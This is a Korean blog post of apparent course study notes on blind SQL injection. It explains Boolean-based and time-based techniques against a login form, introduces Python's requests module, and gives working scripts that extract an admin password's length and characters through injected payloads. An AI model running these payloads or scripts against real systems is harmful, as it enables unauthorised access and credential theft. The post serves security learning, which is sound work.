프롤로그
2번째 강의이다. 이번에도 좀 자세히 적었다..
파이썬 requests 모듈 내용도 들어가있다.
Blind SQL Injection
쿼리의 실행값을 Response로 받을 수 없을 때 사용하는 SQL Injection이다. 보통 일반적인 SQL Injection에서는 에러 미시지나 쿼리결과를 통해서 정보를 확인할 수 있었다.
예시로 들자면
로그인을 했을 떄, 현재 어떤 사용자가 로그인이 되었느지 username을 저렇게 보여주는 사이트에서 저 username이 보여지는 부분을 UNION SELECT로 원하는 내용을 추출할 수 있게 만들었었다. 그러나
로그인 했을 때 이렇게 아무런 데이터의 내용을 아무것도 보여주지 않는 상황에서는 UNION SELECT를 하더라도 보여지는 정보를 확인할 수가 없는데, 이런 경우에 Blind SQL Inection을 사용한다.
Blind SQL Inection의 경우에는 쿼리 결과(제대로 정상작동했는지, 안 했는지), 에러 미시지 등을 통해서 정보를 확인하면서 서버 응답 패턴을 기반으로 정보를 추출하는 방식이다.
그래서 이 Blind Injection 기반으로는 Time based 기법과, Boolean based 기법으로 나뉜다.
Boolean based Blind SQL Inejction
Boolean이름에서 볼 수 있듯이, 참/거짓을 이용하여 수행하는 기법이다. 쿼리가 참일 경우에 어떠한 기능이 정상적으로 작동하고, 거짓일 경우에 작동하지 않는 것을 토대로서 SQL Injection 기법을 수행하는 것이다.
admin 의 password를 알아내는 과정을 알아낸다고 가정을 해보자.
1. SQL Injection 수행 되는지 확인하기
저번과 똑같다. 일단 SQL Injection이 되는지 먼저 확인부터 하는 게 중요하다.
특수문자 ' 을넣어서 500에러가 뜨는지 안 뜨는지 확인을 하고, 500 에러가 뜬다면 SQL Injection의 가능성이 매우 높아진다.
2. 비밀번호 길이 확인하기
아이디 부분에다가
admin' AND length(password) = n -- 1
을 입력해보자. 그렇다면 서버측에서 발송되는 쿼리는
SELECT * FROM user WHERE username = ‘admin’ AND length(password) = n -- password = ‘123’
이렇게 될 것이다.
이 뜻은 username이 admin이고, 비밀번호가 n자리인 사람을 가져오라 라는 의미이다.
실행을 하게 되었을 때 비밀번호가 길이가 일치한다면 로그인이 될 것이고(true), 안 된다면 그냥 오류가 (false) 나올 것이다.
3. 비밀번호 글자 추출하기
비밀번호가 12자리인 것을 알았고, 이제 각 자리별로 차례대로 한 글자씩 추출한다.
ascii 함수로 ascii 코드를 가져올 수 있고, substr로 문자열의 일부분을 추출할 수 있는데
입력으로
admin’ AND ascii(substr(password, 1, 1)) = 65 --
이렇게 설정한다면, username이 admin이고 1번째 글자의 아스키번호가 65번이면 로그인시킬수가 있다.
만약 아니라면 그냥 오류가 뜰 것이다.
이렇게 한 자리를 찾았으면 나머지 11자리도 똑같은 방식으로 구하면 된다.
근데 솔직히, 비밀번호 확인하는 것도 만약에 비밀번호 100자리라고 하면 1부터 100까지 100번 입력하면서 찾아봐야하고, 비밀번호 하나씩 찾는 것도 아스키코드가 128개씩 * 100자리 검색할려면 일일이 손으로 하기엔 개빡셀 거 같은데...
그래서 파이썬으로 explot 코드를 작성해서 SQL Injection 을 수행할 수 있다. 이는 밑에서 조금 이따가 확인하겠다.
Time based Blind SQL Injection
직접적인 응답이 없을 경우에 쓰는 방법이기도 한데, 위와 같은 상황에서도 쓸 수 있긴 하다. SQL 쿼리를 통해 응답 시간을 조작하여 데이터베이스와 상호작용 하는 기법이다. 만약에 원하는 결과값을 얻었다면, 응답시간을 조절해서 서버와의 응답이 길어지게 된 것으로 알 수 있고, 원하는 결과값을 못얻으면 바로 응답 오는 식으로 추측하는 방식이다.
위와 마찬가지로 admin 의 password을 알아내는 과정을 진행해보자.
1. SQL Injection 이 가능한지 확인하기
2. 비밀번호 길이 확인하기
아까 입력한 것에다가 뒤에 and sleep(5) 를 추가한 것 뿐이다.
admin’ AND length(password) = n and sleep(5) -- password = ‘123’
를 입력한 후에 바로 응답이 오면 비밀번호 길이가 틀린 것이고, 맞다면 5초 뒤에 응답이 오는 것으로 유추가 가능하다.
왜 굳이 이렇게 하냐? 지금은 로그인 성공했는지 실패했는지 결과가 바로 나오는데, 안 나오는 경우에는 저렇게 시간차로 확인해야하기 때문이다.
왜 이렇게 되는지 알아야하는데, and 조건의 경우 앞에 거가 수행이 되지 않았다면 뒤에 거는 수행조차 되지 않는다. 그러니까 sleep이 수행됐다는 것은 앞의 내용이 참이니까 수행이 되었다는 것이므로 앞의 쿼리문이 맞다는 것을 간접적으로나마 알 수 있기 때문이다.
이를 활용하는 것은 실제 상황에서 쓸 일이 굉장히 많다고 한다. 모의 해킹을 진행할 때 데이터베이스 값을 건들면 안 되기에 응답을 가지고 SQL Injection이 가능하다는 것을 증명할 수가 있다.
3. 비밀번호 추출하기
아까랑 똑같다.
admin’ AND ascii(substr(password, 1, 1)) = 65 and sleep(5) --
이렇게 했을 때 응답이 바로 왔다면, A로 시작하는 게 아닌 것이고, 응답이 5초 뒤에 왔다면, A로 시작했다는 의미이다.
다만 조심해야할 게 있다면
admin’ AND ascii(substr(password, 1, 1) = 65 and sleep(5) --
이런식으로 괄호 ) 이거 하나 빼먹었을 때 sleep(5) 가 적용되어 오기 때문에...
500 에러 뜨는 것을 보고 나서 파악이 가능했지 그것마저 안 떴다면 착각할 수 있기 때문에 조심해야할 것 같다.
파이썬 request 모듈
파이썬 requests 모듈은 HTTP 요청을 간단하게 하고 직관적으로 처리할 수 있게 하는 라이브러리이다. GET, POST, PUT, DELETE 등의 HTTP 메서드들을 지원하고, 웹 API와 상호작용하거나 데이터 스크래핑 할 때 사용한다.
파이썬 가상환경을 설치하고, requests 모델을 사용해보자.
가상환경은
이 글을 참고해서 설정하고
터미널에서 pip install requests 를 설정하면 된다.
pip instqll requests
이러면 설치가 되었다.
import requests
response = requests.get("http://www.google.com")
print(response)
파이썬 코드를 이렇게 작성하고 실행시키면
이렇게 response 라는 객체가 생성되고 그거에 대한 print가 온다.
response 객체의 주요 속성 및 메서드
1. response.status_code
HTTP의 상태 코드를 출력한다.
import requests
response = requests.get("http://www.google.com")
print(response.status_code)
2. response.text
응답 본문을 문자열 형태로 출력한다.
import requests
response = requests.get("URL주소")
print(response.text)
응답 온 거 보면, HTML코드 그대로 본문으로 온 것을 가져왔다.
3. response.content
응답 본문을 바이트 형태로 출력한다
import requests
response = requests.get("URL주소")
print(response.content)
\xyy 막 이런식으로 적혀있는데 바이트 형식으로 간 거다.
4. response.headers
응답된 헤더를 가져온다.
import requests
response = requests.get("주소")
print(response.headers)
헤더들이 키:값 으로 출력된 것을 확인할 수 있다.
5. response.cookies
서버에서 설정한 쿠키를 가져온다.
import requests
response = requests.get("주소")
print(response.cookies)
6. response.url
최종 요청 URL(리다이렉션 포함)을 가져온다.
import requests
response = requests.get("주소")
print(response.url)
requests 모듈의 주요 파라미터
1. url
response = requests.get("https://example.com")
무조건 url주소는 입력이 되어야한다.
2. params
URL의 쿼리 스트링 파라미터를 전달하는 방식이다.
게시판으로 예시를 들자면, 도메인/search?검색어
이렇게 되어있을 때 저 ? 뒤에있는 검색어를 넘겨주는 방식이다. 그렇기에 GET요청일 때 주로 사용한다.
params = {"key1": "value1", "key2": "value2"}
response = requests.get("https://example.com", params=params)
# Resulting URL: https://example.com?key1=value1&key2=value2
3. data
params가 GET요청에서 사용했다면, 이 data는 POST요청에서 사용한다.
마찬가지로 키:값의 형태로 전달되게 되는데, POST요청을 하게 될 떄 body부분에 들어가게 된다.
data = {"key1": "value1", "key2": "value2"}
response = requests.post("https://example.com", data=data)
4. headers
요청 헤더를 설정할 수 있다.
headers = {"Authorization": "Bearer my-token"}
response = requests.get("https://example.com", headers=headers)
흔히 JWT인증이라던지, 아니면 헤더 부분에 값 변경한다던지 할 때 사용한다.
5. cookies
쿠키도 설정할 수 있다.
cookies = {"session_id": "abc123"}
response = requests.get("https://example.com", cookies=cookies)
그냥 말 그대로 쿠키 설정이다.
6. timeout
요청시간이 끝나면 Timeout 예외 발생
response = requests.get("https://example.com", timeout=5) # 5초 제한
예외를 발생시킨다에 주목!
일단은 이정도만 알아두도록 하자.
requests 모듈로 Boolean based Blind SQL Injection 수행하기
아까 전에 비밀번호 길이든, 한글자씩 추출할 때든 사람이 손으로 일일이 입력하면서 하기에도 양이 매우 많다. 이를 파이썬 requests 모듈로 for문 등으로 돌려서 자동화를 시킬수가 있다.
지금은 실습할 환경이 주어져 있어서 거기로 할 건데, 이 글에는 노출하지 않을 것이다.
1. 비밀번호 길이 추출하기
아까전에
SELECT * FROM user WHERE username = ‘admin’ AND length(password) = n -- password = ‘123’
이걸 실행시키기 위해 필요한 건
admin’ AND length(password) = n -- password = ‘123’
요만큼이다. 저기서 n의 값이 변수이므로, POST요청을 할 거기에 data부분에다가 넘겨줘야하므로, data 코드를 짠다면
data = {"username" : f"admin' and length(password) = {num} -- 1", "password" : "123"}
이렇게 짤 수가 있다.
그래서 전체 코드를 짠다면
def check_length(url):
for num in range(1, 100):
data = {"username" : f"admin' and length(password) = {num} -- 1", "password" : "123"}
res = requests.post(url, data=data)
if "Hello" in res.text:
return num
이고 테스트를 해보면
import requests
def check_length(url):
for num in range(1, 100):
data = {"username" : f"admin' and length(password) = {num} -- 1", "password" : "123"}
res = requests.post(url, data=data)
if "Hello" in res.text:
return num
if __name__ == "__main__":
url = "url주소"
print(check_length(url))
전체 길이는 12개인 것을 확인할 수 있다.
2. 비밀번호 추출하기
비밀번호는 아까 12개라는 것을 알았고, 그렇다면 각 자리수마다 문자를 확인하는 것이기 때문에, 12번의 반복은 있어야한다.
그리고 각 자리마다 아스키코드 1번부터 127번까지 반복하는데, 그래도 앞부분 필요없는 문자는 건너뛴다면 32번부터 126번까지 반복을 시도할 수 있고,
POST요청이기에, data에다가 아까랑 똑같이 보낼 데이터를입력하면 된다.
admin’ AND ascii(substr(password, i, 1)) = n -- 1
이게 들어가야하므로, username에는 저걸로 설정해주고, password는 그냥 대충 123 적어두자.
그래서 이렇게 적용할 수 있다.
def find_password(url, length):
password = ""
for i in range(1, length+1):
print(f"{i}번째 문자 탐색")
for n in range(32, 127):
data = {"username" : f"admin' and ascii(substr(password, {i}, 1)) = {n} -- 1", "password" : "123"}
res = requests.post(url, data=data)
if "Hello" in res.text:
password += chr(k)
# print(password)
break
return password
그래서 전체 코드를 실행하면
def find_password(url, length):
password = ""
for i in range(1, length+1):
print(f"{i}번째 문자 탐색")
for n in range(32, 127):
data = {"username" : f"admin' and ascii(substr(password, {i}, 1)) = {n} -- 1", "password" : "123"}
res = requests.post(url, data=data)
if "Hello" in res.text:
password += chr(n)
# print(password)
break
return password
if __name__ == "__main__":
url = "주소"
# print(check_length(url))
print(find_password(url, 12))
이렇게 비밀번호를 추출할 수가 있다.
requests 모듈로 Time based Blind SQL Injection 수행하기
아까랑 비슷한데, 이제는 Time based로 진행할 것이다.
어떻게 하면 좋을지 생각하다가, timeout 이라는 속성이 생각났다.
sleep(5) 로 쿼리를 넣었을 때 timeout =3으로 설정해둔다면, 어쨌거나 해당 요청에 대한 응답이 오지 않게 되므로 예외가 발생할 것이고, 그렇다면 해당 문자가 비밀번호라는 것을 알 수가 있을 것이다.
그런식으로 진행을 할 거다.
1. 비밀번호 길이 추출하기
import requests
def check_length(url):
for num in range(1, 100):
data = {"username" : f"admin' and length(password) = {num} and sleep(5) -- 1", "password" : "123"}
try:
res = requests.post(url, data=data, timeout=3)
except:
return num
위 상황이랑 똑같다. 근데 sleep(5)가 곁들어졌다.
그리고 timeout은 요청이 안 오면 에러를 발생시킨다고 했으니까
try ~ except로 예외처리를 해준 후에
예외가 발생하면 return num이 발생하게 해줬다.
import requests
def check_length(url):
for num in range(1, 100):
data = {"username" : f"admin' and length(password) = {num} and sleep(5) -- 1", "password" : "123"}
try:
res = requests.post(url, data=data, timeout=3)
except:
return num
if __name__ == "__main__":
url = "주소"
print(check_length(url))
똑같이 12가 나온다.
2. 비밀번호 추출하기
이번에도 코드를보면
def find_password(url, length):
password = ""
for i in range(1, length+1):
print(f"{i}번째 문자 탐색")
for n in range(32, 127):
data = {"username" : f"admin' and ascii(substr(password, {i}, 1)) = {n} and sleep(5) -- 1", "password" : "123"}
try:
res = requests.post(url, data=data, timeout = 3)
except:
password += chr(n)
print(password)
break
이렇게 설정을 해주었다.
try와 except 두고, timeout = 3설정해두면
import requests
def find_password(url, length):
password = ""
for i in range(1, length+1):
print(f"{i}번째 문자 탐색")
for n in range(32, 127):
data = {"username" : f"admin' and ascii(substr(password, {i}, 1)) = {n} and sleep(5) -- 1", "password" : "123"}
try:
res = requests.post(url, data=data, timeout = 3)
except:
password += chr(n)
print(password)
break
return password
if __name__ == "__main__":
url = "주소"
# print(check_length(url))
print(find_password(url, 12))
이걸 실행시키면 결과값이 나온다.
다만....
매우...느리다...
12글자씩 최소 3초씩 기다려야하는데, 못해도 36초를 기다려야 한다.
타임아웃 잘 설정해야 빠르게 할 수 있을 것 같다.
에필로그
requests 모듈 정리해봤고, 이를 활용해서 Blind SQL Injection을 수행해보았다.
바로 이제 다음글에서 write-up 비공개로 작성할 계획이다.
(근데 이만큼 적는대도 무슨 6시간이 걸린디야?)
'KnockOn' 카테고리의 다른 글
[KnockOn] 2.1 What time is it? Write-Up (0) | 2024.12.29 |
---|---|
[KnockOn] 2. Blind SQL Injecion Write-Up (0) | 2024.12.29 |
[KnockOn] 1.2 SQL Injection - DB Write-up (0) | 2024.12.27 |
[KnockOn] 1.1 SQL Injection - Login Write-up (0) | 2024.12.27 |
[KnockOn] SQL Injection의 개념과 Union select SQL Injection의 수행과정 (0) | 2024.12.25 |